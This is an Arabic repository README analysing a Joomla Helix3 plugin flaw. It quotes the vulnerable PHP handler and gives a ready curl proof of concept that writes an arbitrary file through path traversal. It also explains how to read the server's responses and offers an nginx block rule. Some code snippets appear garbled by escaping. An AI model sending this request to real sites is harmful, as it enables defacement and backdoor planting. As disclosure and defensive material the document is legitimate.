
يحتوي المستودع على مواد وتحليل تقني وإثبات مفهوم (PoC) لثغرة أمنية حرجة CVE-2026-49049، تم اكتشافها في إطار قوالب Helix3 من JoomShaper القديم لنظام إدارة المحتوى Joomla (الإصدارات من 1.0 حتى 3.1.0 شاملة).
يتم استغلال الثغرة بنشاط في البرية عبر شبكات الروبوتات الآلية (وتحديدًا ضمن حملة التشويه AntonKill).
يكمن الخلل في معالج AJAX النظامي في Joomla (com_ajax)، الذي يستدعي طريقة onAjaxHelix3() في المكوّن الإضافي plg_ajax_helix3. لم يقم مطورو المكوّن بتوفير:
layoutName.public function onAjaxHelix3() {
\$input = Factory::getApplication()->input;
\(data =\)input->post->get('data', [], 'array');
\(action =\)data['action'];
\(layoutName =\)data['layoutName'];
// لا يوجد التحقق من الصلاحيات! لا يوجد تصفية للمسار!
\$filepath = \(layoutPath .\)layoutName;
switch (\$action) {
case 'save':
// كتابة بيانات خاضعة للتحكم في دليل تعسفي على الخادم
fwrite(fopen(\(filepath . '.json', 'wb'),\)data['content']);
break;
}
}
للتحقق من الثغرة، يُستخدم طلب POST بنوع المحتوى application/x-www-form-urlencoded. تُعد هذه الطريقة لتغليف المعاملات الأكثر فعالية لإظهار الثغرة.
curl -sk -X POST \
'https://target.com' \
-d 'data[action]=save&data[layoutName]=../../../../../../../example&data[content]={"probe":"test"}'
عند إجراء اختبار الاختراق، قد يعيد الخادم أنواعًا مختلفة من الاستجابات. تفسيرها أمر بالغ الأهمية:
استجابة الخادم:
{"success":true,"message":null,"messages":null,"data":[]}
التفسير: المكوّن الإضافي معرض للخطر، ولا توجد قيود من نظام التشغيل. تم إنشاء الملف بنجاح في جذر الموقع وهو متاح عبر https://target.com. يتطلب الموقع تنظيفًا وعزلًا فوريًا.
استجابة الخادم:
{
"success":false,
"message":"fwrite(): Argument #1 (\$stream) must be of type resource, bool given",
"messages":null,
"data":null
}
التفسير: نجاح جزئي. منطق المكوّن الإضافي Helix3 مخترق — فقد استقبل البيانات دون مصادقة وحاول فتح ملف للكتابة (fopen). لكن نظام التشغيل Linux حظر هذا الإجراء، لأن مستخدم خادم الويب (مثل www-data) ليس لديه صلاحيات الكتابة في جذر الموقع.
استجابة الخادم: حالة 404 Not Found أو 403 Forbidden أو استجابة فارغة [].
التفسير: تم تحديث المكوّن الإضافي إلى إصدار آمن (3.1.1+) حيث أُضيف التحقق من المصادقة، أو تمت إزالته بالكامل من نظام إدارة المحتوى.
plg_ajax_helix3 بالكامل عبر لوحة تحكم Joomla.if (\(request_method = POST) { set\)test "P"; }
if (\$arg_plugin = "helix3") { set \(test "\){test}H"; }
if (\$test = PH) { return 403; }
إخلاء مسؤولية: هذه المادة مقدمة لأغراض تعليمية بحتة وللتدقيق الأمني المشروع للأنظمة (Pentesting). لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المشروع للمعلومات المقدمة.
| المعامل | القيمة / المثال | ماذا يعني للخادم |
|---|
option | com_ajax | نقطة الدخول إلى Joomla لمعالجة طلبات AJAX. |
plugin | helix3 | المعرف النظامي الذي يجبر Joomla على تسليم التحكم إلى المكوّن الإضافي Helix3 المعرض للخطر. |
format | json | يطلب من المحرك إرجاع الاستجابة بتنسيق JSON. |
-d | data[...] | نص الطلب (Form Data)، الذي يفسّره PHP تلقائيًا كمصفوفة عامة $_POST. |
data[action] | save | مفتاح switch في الكود. يوجّه المكوّن الإضافي لاستدعاء دالة الكتابة (إنشاء) الملف. |
data[layoutName] | ../../../../../../../example | متجه الهجوم الرئيسي (Path Traversal). ترغم رموز ../ نظام التشغيل على الخروج من مجلد المكوّن الإضافي المعزول إلى الدليل الجذر للموقع. سيقوم المكوّن الإضافي بإضافة الامتداد .json تلقائيًا. |
data[content] | {"probe":"test"} | الحمولة (Payload). بيانات نصية ستُكتب فعليًا داخل الملف المُنشأ example.json. في الهجمات الحقيقية، يُحقن هنا كود تشويه خبيث أو أبواب خلفية. |